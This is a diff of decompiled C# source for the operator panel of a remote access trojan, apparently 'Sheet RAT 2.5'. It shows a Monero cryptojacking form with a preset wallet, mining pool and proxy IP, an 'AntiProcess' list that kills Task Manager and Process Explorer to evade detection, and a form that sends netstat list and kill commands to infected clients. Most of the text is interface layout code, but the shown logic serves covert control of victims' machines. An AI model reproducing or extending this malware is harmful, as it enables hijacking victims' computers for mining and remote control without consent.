this.metroLabel2.Margin = new Padding(2, 0, 2, 0);
|
||||
this.metroLabel2.Name = "metroLabel2";
|
||||
this.metroLabel2.Size = new Size(35, 19);
|
||||
this.metroLabel2.Style = MetroColorStyle.Green;
|
||||
this.metroLabel2.TabIndex = 3;
|
||||
this.metroLabel2.Text = "Pool";
|
||||
this.metroLabel2.Theme = MetroThemeStyle.Dark;
|
||||
this.metroLabel2.UseStyleColors = true;
|
||||
this.Start.Anchor = AnchorStyles.Top | AnchorStyles.Right;
|
||||
this.Start.Location = new Point(793, 112 /*0x70*/);
|
||||
this.Start.Margin = new Padding(2);
|
||||
this.Start.Name = "Start";
|
||||
this.Start.Size = new Size(79, 20);
|
||||
this.Start.Style = MetroColorStyle.Green;
|
||||
this.Start.TabIndex = 4;
|
||||
this.Start.Text = "Start";
|
||||
this.Start.Theme = MetroThemeStyle.Dark;
|
||||
this.Start.UseSelectable = true;
|
||||
this.Start.UseStyleColors = true;
|
||||
this.Start.Click += new EventHandler(this.metroButton1_Click);
|
||||
this.AntiProcessCheck.AutoSize = true;
|
||||
this.AntiProcessCheck.Checked = true;
|
||||
this.AntiProcessCheck.CheckState = CheckState.Checked;
|
||||
this.AntiProcessCheck.Location = new Point(4, 107);
|
||||
this.AntiProcessCheck.Margin = new Padding(2);
|
||||
this.AntiProcessCheck.Name = "AntiProcessCheck";
|
||||
this.AntiProcessCheck.Size = new Size(85, 15);
|
||||
this.AntiProcessCheck.Style = MetroColorStyle.Green;
|
||||
this.AntiProcessCheck.TabIndex = 8;
|
||||
this.AntiProcessCheck.Text = "AntiProcess";
|
||||
this.AntiProcessCheck.Theme = MetroThemeStyle.Dark;
|
||||
this.AntiProcessCheck.UseSelectable = true;
|
||||
this.AntiProcessCheck.UseStyleColors = true;
|
||||
this.numCpu.BackColor = Color.Black;
|
||||
this.numCpu.ForeColor = Color.SpringGreen;
|
||||
this.numCpu.Increment = new Decimal(new int[4]
|
||||
{
|
||||
10,
|
||||
0,
|
||||
0,
|
||||
0
|
||||
});
|
||||
this.numCpu.Location = new Point(502, 181);
|
||||
this.numCpu.Margin = new Padding(2);
|
||||
this.numCpu.Minimum = new Decimal(new int[4]
|
||||
{
|
||||
10,
|
||||
0,
|
||||
0,
|
||||
0
|
||||
});
|
||||
this.numCpu.Name = "numCpu";
|
||||
this.numCpu.Size = new Size(56, 20);
|
||||
this.numCpu.TabIndex = 202;
|
||||
this.numCpu.Value = new Decimal(new int[4]
|
||||
{
|
||||
100,
|
||||
0,
|
||||
0,
|
||||
0
|
||||
});
|
||||
this.metroLabel3.AutoSize = true;
|
||||
this.metroLabel3.Location = new Point(442, 184);
|
||||
this.metroLabel3.Margin = new Padding(2, 0, 2, 0);
|
||||
this.metroLabel3.Name = "metroLabel3";
|
||||
this.metroLabel3.Size = new Size(48 /*0x30*/, 19);
|
||||
this.metroLabel3.Style = MetroColorStyle.Green;
|
||||
this.metroLabel3.TabIndex = 203;
|
||||
this.metroLabel3.Text = "Cpu %";
|
||||
this.metroLabel3.Theme = MetroThemeStyle.Dark;
|
||||
this.metroLabel3.UseStyleColors = true;
|
||||
this.metroButton1.Anchor = AnchorStyles.Top | AnchorStyles.Right;
|
||||
this.metroButton1.Location = new Point(793, 77);
|
||||
this.metroButton1.Margin = new Padding(2);
|
||||
this.metroButton1.Name = "metroButton1";
|
||||
this.metroButton1.Size = new Size(79, 20);
|
||||
this.metroButton1.Style = MetroColorStyle.Green;
|
||||
this.metroButton1.TabIndex = 205;
|
||||
this.metroButton1.Text = "Hide Window";
|
||||
this.metroButton1.Theme = MetroThemeStyle.Dark;
|
||||
this.metroButton1.UseSelectable = true;
|
||||
this.metroButton1.UseStyleColors = true;
|
||||
this.metroButton1.Click += new EventHandler(this.metroButton1_Click_1);
|
||||
this.metroContextMenu1.Items.AddRange(new ToolStripItem[1]
|
||||
{
|
||||
(ToolStripItem) this.kickToolStripMenuItem
|
||||
});
|
||||
this.metroContextMenu1.Name = "metroContextMenu1";
|
||||
this.metroContextMenu1.Size = new Size(97, 26);
|
||||
this.kickToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17);
|
||||
this.kickToolStripMenuItem.ForeColor = Color.Red;
|
||||
this.kickToolStripMenuItem.Name = "kickToolStripMenuItem";
|
||||
this.kickToolStripMenuItem.Size = new Size(96 /*0x60*/, 22);
|
||||
this.kickToolStripMenuItem.Text = "Kick";
|
||||
this.kickToolStripMenuItem.Click += new EventHandler(this.kickToolStripMenuItem_Click);
|
||||
this.Wallet.CustomButton.Image = (Image) null;
|
||||
this.Wallet.CustomButton.Location = new Point(364, 1);
|
||||
this.Wallet.CustomButton.Name = "";
|
||||
this.Wallet.CustomButton.Size = new Size(21, 21);
|
||||
this.Wallet.CustomButton.Style = MetroColorStyle.Blue;
|
||||
this.Wallet.CustomButton.TabIndex = 1;
|
||||
this.Wallet.CustomButton.Theme = MetroThemeStyle.Light;
|
||||
this.Wallet.CustomButton.UseSelectable = true;
|
||||
this.Wallet.CustomButton.Visible = false;
|
||||
this.Wallet.Lines = new string[1]
|
||||
{
|
||||
"4B9rbroU5uESfup3iaMtC5SNi3UQsyK5XKPycXcVcFDzFgHeYGhEY8NH98YbisamWRKuBDEsRTAQ3NUVpTBXk6gh1VhHxN1"
|
||||
};
|
||||
this.Wallet.Location = new Point(3, 25);
|
||||
this.Wallet.MaxLength = (int) short.MaxValue;
|
||||
this.Wallet.Name = "Wallet";
|
||||
this.Wallet.PasswordChar = char.MinValue;
|
||||
this.Wallet.ScrollBars = ScrollBars.None;
|
||||
this.Wallet.SelectedText = "";
|
||||
this.Wallet.SelectionLength = 0;
|
||||
this.Wallet.SelectionStart = 0;
|
||||
this.Wallet.ShortcutsEnabled = true;
|
||||
this.Wallet.Size = new Size(386, 23);
|
||||
this.Wallet.Style = MetroColorStyle.Green;
|
||||
this.Wallet.TabIndex = 207;
|
||||
this.Wallet.Text = "4B9rbroU5uESfup3iaMtC5SNi3UQsyK5XKPycXcVcFDzFgHeYGhEY8NH98YbisamWRKuBDEsRTAQ3NUVpTBXk6gh1VhHxN1";
|
||||
this.Wallet.Theme = MetroThemeStyle.Dark;
|
||||
this.Wallet.UseSelectable = true;
|
||||
this.Wallet.UseStyleColors = true;
|
||||
this.Wallet.WaterMarkColor = Color.FromArgb(109, 109, 109);
|
||||
this.Wallet.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel);
|
||||
this.Pool.CustomButton.Image = (Image) null;
|
||||
this.Pool.CustomButton.Location = new Point(364, 1);
|
||||
this.Pool.CustomButton.Name = "";
|
||||
this.Pool.CustomButton.Size = new Size(21, 21);
|
||||
this.Pool.CustomButton.Style = MetroColorStyle.Blue;
|
||||
this.Pool.CustomButton.TabIndex = 1;
|
||||
this.Pool.CustomButton.Theme = MetroThemeStyle.Light;
|
||||
this.Pool.CustomButton.UseSelectable = true;
|
||||
this.Pool.CustomButton.Visible = false;
|
||||
this.Pool.Lines = new string[1]
|
||||
{
|
||||
"pool.hashvault.pro:443"
|
||||
};
|
||||
this.Pool.Location = new Point(4, 79);
|
||||
this.Pool.MaxLength = (int) short.MaxValue;
|
||||
this.Pool.Name = "Pool";
|
||||
this.Pool.PasswordChar = char.MinValue;
|
||||
this.Pool.ScrollBars = ScrollBars.None;
|
||||
this.Pool.SelectedText = "";
|
||||
this.Pool.SelectionLength = 0;
|
||||
this.Pool.SelectionStart = 0;
|
||||
this.Pool.ShortcutsEnabled = true;
|
||||
this.Pool.Size = new Size(386, 23);
|
||||
this.Pool.Style = MetroColorStyle.Green;
|
||||
this.Pool.TabIndex = 208 /*0xD0*/;
|
||||
this.Pool.Text = "pool.hashvault.pro:443";
|
||||
this.Pool.Theme = MetroThemeStyle.Dark;
|
||||
this.Pool.UseSelectable = true;
|
||||
this.Pool.UseStyleColors = true;
|
||||
this.Pool.WaterMarkColor = Color.FromArgb(109, 109, 109);
|
||||
this.Pool.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel);
|
||||
this.AntiProcess.CustomButton.Image = (Image) null;
|
||||
this.AntiProcess.CustomButton.Location = new Point(364, 1);
|
||||
this.AntiProcess.CustomButton.Name = "";
|
||||
this.AntiProcess.CustomButton.Size = new Size(21, 21);
|
||||
this.AntiProcess.CustomButton.Style = MetroColorStyle.Blue;
|
||||
this.AntiProcess.CustomButton.TabIndex = 1;
|
||||
this.AntiProcess.CustomButton.Theme = MetroThemeStyle.Light;
|
||||
this.AntiProcess.CustomButton.UseSelectable = true;
|
||||
this.AntiProcess.CustomButton.Visible = false;
|
||||
this.AntiProcess.Lines = new string[1]
|
||||
{
|
||||
"Taskmgr.exe,ProcessHacker.exe,perfmon.exe,procexp.exe,procexp64.exe"
|
||||
};
|
||||
this.AntiProcess.Location = new Point(3, 129);
|
||||
this.AntiProcess.MaxLength = (int) short.MaxValue;
|
||||
this.AntiProcess.Name = "AntiProcess";
|
||||
this.AntiProcess.PasswordChar = char.MinValue;
|
||||
this.AntiProcess.ScrollBars = ScrollBars.None;
|
||||
this.AntiProcess.SelectedText = "";
|
||||
this.AntiProcess.SelectionLength = 0;
|
||||
this.AntiProcess.SelectionStart = 0;
|
||||
this.AntiProcess.ShortcutsEnabled = true;
|
||||
this.AntiProcess.Size = new Size(386, 23);
|
||||
this.AntiProcess.Style = MetroColorStyle.Green;
|
||||
this.AntiProcess.TabIndex = 209;
|
||||
this.AntiProcess.Text = "Taskmgr.exe,ProcessHacker.exe,perfmon.exe,procexp.exe,procexp64.exe";
|
||||
this.AntiProcess.Theme = MetroThemeStyle.Dark;
|
||||
this.AntiProcess.UseSelectable = true;
|
||||
this.AntiProcess.UseStyleColors = true;
|
||||
this.AntiProcess.WaterMarkColor = Color.FromArgb(109, 109, 109);
|
||||
this.AntiProcess.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel);
|
||||
this.TimeOut.Interval = 25000;
|
||||
this.TimeOut.Tick += new EventHandler(this.TimeOut_Tick);
|
||||
this.Grid1.AllowUserToAddRows = false;
|
||||
this.Grid1.AllowUserToDeleteRows = false;
|
||||
this.Grid1.AllowUserToResizeColumns = false;
|
||||
this.Grid1.AllowUserToResizeRows = false;
|
||||
this.Grid1.Anchor = AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right;
|
||||
this.Grid1.BackgroundColor = Color.FromArgb(17, 17, 17);
|
||||
this.Grid1.BorderStyle = System.Windows.Forms.BorderStyle.None;
|
||||
this.Grid1.CellBorderStyle = DataGridViewCellBorderStyle.None;
|
||||
this.Grid1.ColumnHeadersBorderStyle = DataGridViewHeaderBorderStyle.None;
|
||||
gridViewCellStyle1.Alignment = DataGridViewContentAlignment.TopLeft;
|
||||
gridViewCellStyle1.BackColor = Color.FromArgb(142, 188, 0);
|
||||
gridViewCellStyle1.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204);
|
||||
gridViewCellStyle1.ForeColor = Color.FromArgb(17, 17, 17);
|
||||
gridViewCellStyle1.SelectionBackColor = Color.FromArgb(142, 188, 0);
|
||||
gridViewCellStyle1.SelectionForeColor = Color.FromArgb(17, 17, 17);
|
||||
gridViewCellStyle1.WrapMode = DataGridViewTriState.True;
|
||||
this.Grid1.ColumnHeadersDefaultCellStyle = gridViewCellStyle1;
|
||||
this.Grid1.ColumnHeadersHeightSizeMode = DataGridViewColumnHeadersHeightSizeMode.AutoSize;
|
||||
this.Grid1.ContextMenuStrip = (ContextMenuStrip) this.metroContextMenu1;
|
||||
this.Grid1.Cursor = Cursors.Default;
|
||||
gridViewCellStyle2.Alignment = DataGridViewContentAlignment.MiddleLeft;
|
||||
gridViewCellStyle2.BackColor = Color.FromArgb(17, 17, 17);
|
||||
gridViewCellStyle2.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204);
|
||||
gridViewCellStyle2.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0);
|
||||
gridViewCellStyle2.SelectionBackColor = Color.FromArgb(0, 192 /*0xC0*/, 0);
|
||||
gridViewCellStyle2.SelectionForeColor = Color.FromArgb(17, 17, 17);
|
||||
gridViewCellStyle2.WrapMode = DataGridViewTriState.False;
|
||||
this.Grid1.DefaultCellStyle = gridViewCellStyle2;
|
||||
this.Grid1.EnableHeadersVisualStyles = false;
|
||||
this.Grid1.GridColor = Color.FromArgb(17, 17, 17);
|
||||
this.Grid1.Location = new Point(34, 227);
|
||||
this.Grid1.Name = "Grid1";
|
||||
this.Grid1.ReadOnly = true;
|
||||
this.Grid1.RowHeadersBorderStyle = DataGridViewHeaderBorderStyle.None;
|
||||
gridViewCellStyle3.Alignment = DataGridViewContentAlignment.MiddleLeft;
|
||||
gridViewCellStyle3.BackColor = Color.FromArgb(17, 17, 17);
|
||||
gridViewCellStyle3.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204);
|
||||
gridViewCellStyle3.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0);
|
||||
gridViewCellStyle3.Padding = new Padding(1, 0, 0, 0);
|
||||
gridViewCellStyle3.SelectionBackColor = Color.FromArgb(0, 192 /*0xC0*/, 0);
|
||||
gridViewCellStyle3.SelectionForeColor = Color.FromArgb(17, 17, 17);
|
||||
gridViewCellStyle3.WrapMode = DataGridViewTriState.True;
|
||||
this.Grid1.RowHeadersDefaultCellStyle = gridViewCellStyle3;
|
||||
this.Grid1.RowHeadersVisible = false;
|
||||
this.Grid1.SelectionMode = DataGridViewSelectionMode.FullRowSelect;
|
||||
this.Grid1.ShowCellErrors = false;
|
||||
this.Grid1.ShowCellToolTips = false;
|
||||
this.Grid1.ShowEditingIcon = false;
|
||||
this.Grid1.ShowRowErrors = false;
|
||||
this.Grid1.Size = new Size(838, 272);
|
||||
this.Grid1.TabIndex = 210;
|
||||
this.Checker.Enabled = true;
|
||||
this.Checker.Interval = 3000;
|
||||
this.Checker.Tick += new EventHandler(this.Checker_Tick);
|
||||
this.CheckDontGpu.AutoSize = true;
|
||||
this.CheckDontGpu.Location = new Point(444, 161);
|
||||
this.CheckDontGpu.Name = "CheckDontGpu";
|
||||
this.CheckDontGpu.Size = new Size(128 /*0x80*/, 15);
|
||||
this.CheckDontGpu.Style = MetroColorStyle.Green;
|
||||
this.CheckDontGpu.TabIndex = 211;
|
||||
this.CheckDontGpu.Text = "Dont Mine user gpu";
|
||||
this.CheckDontGpu.Theme = MetroThemeStyle.Dark;
|
||||
this.CheckDontGpu.UseSelectable = true;
|
||||
this.CheckDontGpu.UseStyleColors = true;
|
||||
this.CheckDontGpu.CheckedChanged += new EventHandler(this.CheckDontGpu_CheckedChanged);
|
||||
this.metroCheckBoxGpu.AutoSize = true;
|
||||
this.metroCheckBoxGpu.Checked = true;
|
||||
this.metroCheckBoxGpu.CheckState = CheckState.Checked;
|
||||
this.metroCheckBoxGpu.Location = new Point(444, 134);
|
||||
this.metroCheckBoxGpu.Name = "metroCheckBoxGpu";
|
||||
this.metroCheckBoxGpu.Size = new Size(46, 15);
|
||||
this.metroCheckBoxGpu.Style = MetroColorStyle.Green;
|
||||
this.metroCheckBoxGpu.TabIndex = 212;
|
||||
this.metroCheckBoxGpu.Text = "GPU";
|
||||
this.metroCheckBoxGpu.Theme = MetroThemeStyle.Dark;
|
||||
this.metroCheckBoxGpu.UseSelectable = true;
|
||||
this.metroCheckBoxGpu.UseStyleColors = true;
|
||||
this.metroCheckBoxCpu.AutoSize = true;
|
||||
this.metroCheckBoxCpu.Checked = true;
|
||||
this.metroCheckBoxCpu.CheckState = CheckState.Checked;
|
||||
this.metroCheckBoxCpu.Location = new Point(512 /*0x0200*/, 134);
|
||||
this.metroCheckBoxCpu.Name = "metroCheckBoxCpu";
|
||||
this.metroCheckBoxCpu.Size = new Size(46, 15);
|
||||
this.metroCheckBoxCpu.Style = MetroColorStyle.Green;
|
||||
this.metroCheckBoxCpu.TabIndex = 213;
|
||||
this.metroCheckBoxCpu.Text = "CPU";
|
||||
this.metroCheckBoxCpu.Theme = MetroThemeStyle.Dark;
|
||||
this.metroCheckBoxCpu.UseSelectable = true;
|
||||
this.metroCheckBoxCpu.UseStyleColors = true;
|
||||
this.metroCheckBoxTls.AutoSize = true;
|
||||
this.metroCheckBoxTls.Checked = true;
|
||||
this.metroCheckBoxTls.CheckState = CheckState.Checked;
|
||||
this.metroCheckBoxTls.Location = new Point(573, 134);
|
||||
this.metroCheckBoxTls.Name = "metroCheckBoxTls";
|
||||
this.metroCheckBoxTls.Size = new Size(41, 15);
|
||||
this.metroCheckBoxTls.Style = MetroColorStyle.Green;
|
||||
this.metroCheckBoxTls.TabIndex = 214;
|
||||
this.metroCheckBoxTls.Text = "TLS";
|
||||
this.metroCheckBoxTls.Theme = MetroThemeStyle.Dark;
|
||||
this.metroCheckBoxTls.UseSelectable = true;
|
||||
this.metroCheckBoxTls.UseStyleColors = true;
|
||||
this.metroCheckBoxNicehash.AutoSize = true;
|
||||
this.metroCheckBoxNicehash.Checked = true;
|
||||
this.metroCheckBoxNicehash.CheckState = CheckState.Checked;
|
||||
this.metroCheckBoxNicehash.Location = new Point(629, 134);
|
||||
this.metroCheckBoxNicehash.Name = "metroCheckBoxNicehash";
|
||||
this.metroCheckBoxNicehash.Size = new Size(74, 15);
|
||||
this.metroCheckBoxNicehash.Style = MetroColorStyle.Green;
|
||||
this.metroCheckBoxNicehash.TabIndex = 215;
|
||||
this.metroCheckBoxNicehash.Text = "NiceHash";
|
||||
this.metroCheckBoxNicehash.Theme = MetroThemeStyle.Dark;
|
||||
this.metroCheckBoxNicehash.UseSelectable = true;
|
||||
this.metroCheckBoxNicehash.UseStyleColors = true;
|
||||
this.PoolMode.AutoSize = true;
|
||||
this.PoolMode.Checked = true;
|
||||
this.PoolMode.ForeColor = Color.SpringGreen;
|
||||
this.PoolMode.Location = new Point(444, 85);
|
||||
this.PoolMode.Name = "PoolMode";
|
||||
this.PoolMode.Size = new Size(76, 17);
|
||||
this.PoolMode.TabIndex = 216;
|
||||
this.PoolMode.TabStop = true;
|
||||
this.PoolMode.Text = "Pool Mode";
|
||||
this.PoolMode.UseVisualStyleBackColor = true;
|
||||
this.radioButton2.AutoSize = true;
|
||||
this.radioButton2.ForeColor = Color.SpringGreen;
|
||||
this.radioButton2.Location = new Point(444, 63 /*0x3F*/);
|
||||
this.radioButton2.Name = "radioButton2";
|
||||
this.radioButton2.Size = new Size(69, 17);
|
||||
this.radioButton2.TabIndex = 217;
|
||||
this.radioButton2.Text = "XmrProxy";
|
||||
this.radioButton2.UseVisualStyleBackColor = true;
|
||||
this.radioButton2.CheckedChanged += new EventHandler(this.radioButton2_CheckedChanged);
|
||||
this.panel1.Controls.Add((Control) this.ProxyXmr);
|
||||
this.panel1.Controls.Add((Control) this.Wallet);
|
||||
this.panel1.Controls.Add((Control) this.metroLabel1);
|
||||
this.panel1.Controls.Add((Control) this.metroLabel2);
|
||||
this.panel1.Controls.Add((Control) this.AntiProcessCheck);
|
||||
this.panel1.Controls.Add((Control) this.Pool);
|
||||
this.panel1.Controls.Add((Control) this.AntiProcess);
|
||||
this.panel1.Location = new Point(34, 63 /*0x3F*/);
|
||||
this.panel1.Name = "panel1";
|
||||
this.panel1.Size = new Size(402, 158);
|
||||
this.panel1.TabIndex = 218;
|
||||
this.ProxyXmr.CustomButton.Image = (Image) null;
|
||||
this.ProxyXmr.CustomButton.Location = new Point(364, 1);
|
||||
this.ProxyXmr.CustomButton.Name = "";
|
||||
this.ProxyXmr.CustomButton.Size = new Size(21, 21);
|
||||
this.ProxyXmr.CustomButton.Style = MetroColorStyle.Blue;
|
||||
this.ProxyXmr.CustomButton.TabIndex = 1;
|
||||
this.ProxyXmr.CustomButton.Theme = MetroThemeStyle.Light;
|
||||
this.ProxyXmr.CustomButton.UseSelectable = true;
|
||||
this.ProxyXmr.CustomButton.Visible = false;
|
||||
this.ProxyXmr.Lines = new string[1]
|
||||
{
|
||||
"89.23.101.113:3333"
|
||||
};
|
||||
this.ProxyXmr.Location = new Point(3, 25);
|
||||
this.ProxyXmr.MaxLength = (int) short.MaxValue;
|
||||
this.ProxyXmr.Name = "ProxyXmr";
|
||||
this.ProxyXmr.PasswordChar = char.MinValue;
|
||||
this.ProxyXmr.ScrollBars = ScrollBars.None;
|
||||
this.ProxyXmr.SelectedText = "";
|
||||
this.ProxyXmr.SelectionLength = 0;
|
||||
this.ProxyXmr.SelectionStart = 0;
|
||||
this.ProxyXmr.ShortcutsEnabled = true;
|
||||
this.ProxyXmr.Size = new Size(386, 23);
|
||||
this.ProxyXmr.Style = MetroColorStyle.Green;
|
||||
this.ProxyXmr.TabIndex = 210;
|
||||
this.ProxyXmr.Text = "89.23.101.113:3333";
|
||||
this.ProxyXmr.Theme = MetroThemeStyle.Dark;
|
||||
this.ProxyXmr.UseSelectable = true;
|
||||
this.ProxyXmr.UseStyleColors = true;
|
||||
this.ProxyXmr.Visible = false;
|
||||
this.ProxyXmr.WaterMarkColor = Color.FromArgb(109, 109, 109);
|
||||
this.ProxyXmr.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel);
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(898, 531);
|
||||
this.Controls.Add((Control) this.panel1);
|
||||
this.Controls.Add((Control) this.radioButton2);
|
||||
this.Controls.Add((Control) this.PoolMode);
|
||||
this.Controls.Add((Control) this.metroCheckBoxNicehash);
|
||||
this.Controls.Add((Control) this.metroCheckBoxTls);
|
||||
this.Controls.Add((Control) this.metroCheckBoxCpu);
|
||||
this.Controls.Add((Control) this.metroCheckBoxGpu);
|
||||
this.Controls.Add((Control) this.CheckDontGpu);
|
||||
this.Controls.Add((Control) this.Grid1);
|
||||
this.Controls.Add((Control) this.metroButton1);
|
||||
this.Controls.Add((Control) this.metroLabel3);
|
||||
this.Controls.Add((Control) this.numCpu);
|
||||
this.Controls.Add((Control) this.Start);
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.Margin = new Padding(2);
|
||||
this.Name = nameof (FormMinerXmr);
|
||||
this.Padding = new Padding(15, 60, 15, 16 /*0x10*/);
|
||||
this.Style = MetroColorStyle.Green;
|
||||
this.Text = "Miner Xmr Miners [0] Selected[0]";
|
||||
this.Theme = MetroThemeStyle.Dark;
|
||||
this.FormClosing += new FormClosingEventHandler(this.FormXmr_FormClosing);
|
||||
this.Load += new EventHandler(this.FormMinerXmr_Load);
|
||||
this.numCpu.EndInit();
|
||||
this.metroContextMenu1.ResumeLayout(false);
|
||||
((ISupportInitialize) this.Grid1).EndInit();
|
||||
this.panel1.ResumeLayout(false);
|
||||
this.panel1.PerformLayout();
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,222 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Forms.FormNetStat
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using MetroFramework;
|
||||
using MetroFramework.Controls;
|
||||
using MetroFramework.Forms;
|
||||
using Server.Connection;
|
||||
using Server.Helper.Configs.Themes;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
//#nullable disable
|
||||
namespace Server.Forms {
|
||||
|
||||
public class FormNetStat : MetroForm
|
||||
{
|
||||
public Clients client;
|
||||
public Clients Plugin;
|
||||
private IContainer components;
|
||||
public MetroGrid metroGrid1;
|
||||
private MetroContextMenu metroContextMenu1;
|
||||
private ToolStripMenuItem killToolStripMenuItem;
|
||||
public Timer timer1;
|
||||
private ToolStripMenuItem resfreshToolStripMenuItem;
|
||||
|
||||
public FormNetStat() => this.InitializeComponent();
|
||||
|
||||
private void FormTaskMgr_Load(object sender, EventArgs e)
|
||||
{
|
||||
DataGridViewColumnCollection columns1 = this.metroGrid1.Columns;
|
||||
DataGridViewTextBoxColumn viewTextBoxColumn1 = new DataGridViewTextBoxColumn();
|
||||
viewTextBoxColumn1.AutoSizeMode = DataGridViewAutoSizeColumnMode.None;
|
||||
viewTextBoxColumn1.HeaderText = "ID";
|
||||
viewTextBoxColumn1.MinimumWidth = 150;
|
||||
columns1.Add((DataGridViewColumn) viewTextBoxColumn1);
|
||||
DataGridViewColumnCollection columns2 = this.metroGrid1.Columns;
|
||||
DataGridViewTextBoxColumn viewTextBoxColumn2 = new DataGridViewTextBoxColumn();
|
||||
viewTextBoxColumn2.AutoSizeMode = DataGridViewAutoSizeColumnMode.None;
|
||||
viewTextBoxColumn2.HeaderText = "Local address";
|
||||
viewTextBoxColumn2.MinimumWidth = 300;
|
||||
columns2.Add((DataGridViewColumn) viewTextBoxColumn2);
|
||||
DataGridViewColumnCollection columns3 = this.metroGrid1.Columns;
|
||||
DataGridViewTextBoxColumn viewTextBoxColumn3 = new DataGridViewTextBoxColumn();
|
||||
viewTextBoxColumn3.AutoSizeMode = DataGridViewAutoSizeColumnMode.None;
|
||||
viewTextBoxColumn3.HeaderText = "Remote address";
|
||||
viewTextBoxColumn3.MinimumWidth = 300;
|
||||
columns3.Add((DataGridViewColumn) viewTextBoxColumn3);
|
||||
DataGridViewColumnCollection columns4 = this.metroGrid1.Columns;
|
||||
DataGridViewTextBoxColumn viewTextBoxColumn4 = new DataGridViewTextBoxColumn();
|
||||
viewTextBoxColumn4.AutoSizeMode = DataGridViewAutoSizeColumnMode.Fill;
|
||||
viewTextBoxColumn4.HeaderText = "State";
|
||||
viewTextBoxColumn4.MinimumWidth = 100;
|
||||
columns4.Add((DataGridViewColumn) viewTextBoxColumn4);
|
||||
this.FormClosing += (FormClosingEventHandler) ((t, p) =>
|
||||
{
|
||||
if (this.Plugin == null)
|
||||
return;
|
||||
this.Plugin.Disconnected();
|
||||
});
|
||||
this.metroGrid1.DefaultCellStyle = new DataGridViewCellStyle()
|
||||
{
|
||||
Alignment = DataGridViewContentAlignment.MiddleLeft,
|
||||
ForeColor = Customs.customs.StyleToColor(),
|
||||
Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel),
|
||||
BackColor = Customs.customs.Theme == MetroThemeStyle.Dark ? Color.FromArgb(17, 17, 17) : Color.White,
|
||||
SelectionForeColor = Customs.customs.Theme == MetroThemeStyle.Dark ? Color.FromArgb(17, 17, 17) : Color.White,
|
||||
SelectionBackColor = Customs.customs.StyleToColor(),
|
||||
WrapMode = DataGridViewTriState.False
|
||||
};
|
||||
this.metroGrid1.RowTemplate.Resizable = DataGridViewTriState.True;
|
||||
this.metroGrid1.RowTemplate.MinimumHeight = 30;
|
||||
if (Customs.customs.Style != MetroColorStyle.Lime)
|
||||
{
|
||||
this.Style = Customs.customs.Style;
|
||||
this.metroGrid1.Style = Customs.customs.Style;
|
||||
}
|
||||
if (Customs.customs.Theme != MetroThemeStyle.Dark)
|
||||
{
|
||||
this.Theme = Customs.customs.Theme;
|
||||
this.metroGrid1.Theme = Customs.customs.Theme;
|
||||
Program.form.SetThemeContextMenu(Customs.customs.Theme, (ContextMenuStrip) this.metroContextMenu1);
|
||||
}
|
||||
this.Refresh();
|
||||
}
|
||||
|
||||
private void killToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.Plugin == null)
|
||||
return;
|
||||
foreach (DataGridViewBand selectedRow in (BaseCollection) this.metroGrid1.SelectedRows)
|
||||
this.Plugin.Send((object) ("NetstatKill<@>" + selectedRow.Tag?.ToString()));
|
||||
}
|
||||
|
||||
private void resfreshToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.Plugin == null)
|
||||
return;
|
||||
this.Plugin.Send((object) "NetstatList");
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.client.Connect && this.Plugin.Connect)
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
DataGridViewCellStyle gridViewCellStyle1 = new DataGridViewCellStyle();
|
||||
DataGridViewCellStyle gridViewCellStyle2 = new DataGridViewCellStyle();
|
||||
DataGridViewCellStyle gridViewCellStyle3 = new DataGridViewCellStyle();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormNetStat));
|
||||
this.metroGrid1 = new MetroGrid();
|
||||
this.metroContextMenu1 = new MetroContextMenu(this.components);
|
||||
this.killToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.resfreshToolStripMenuItem = new ToolStripMenuItem();
|
||||
((ISupportInitialize) this.metroGrid1).BeginInit();
|
||||
this.metroContextMenu1.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
this.metroGrid1.AllowUserToAddRows = false;
|
||||
this.metroGrid1.AllowUserToDeleteRows = false;
|
||||
this.metroGrid1.AllowUserToResizeRows = false;
|
||||
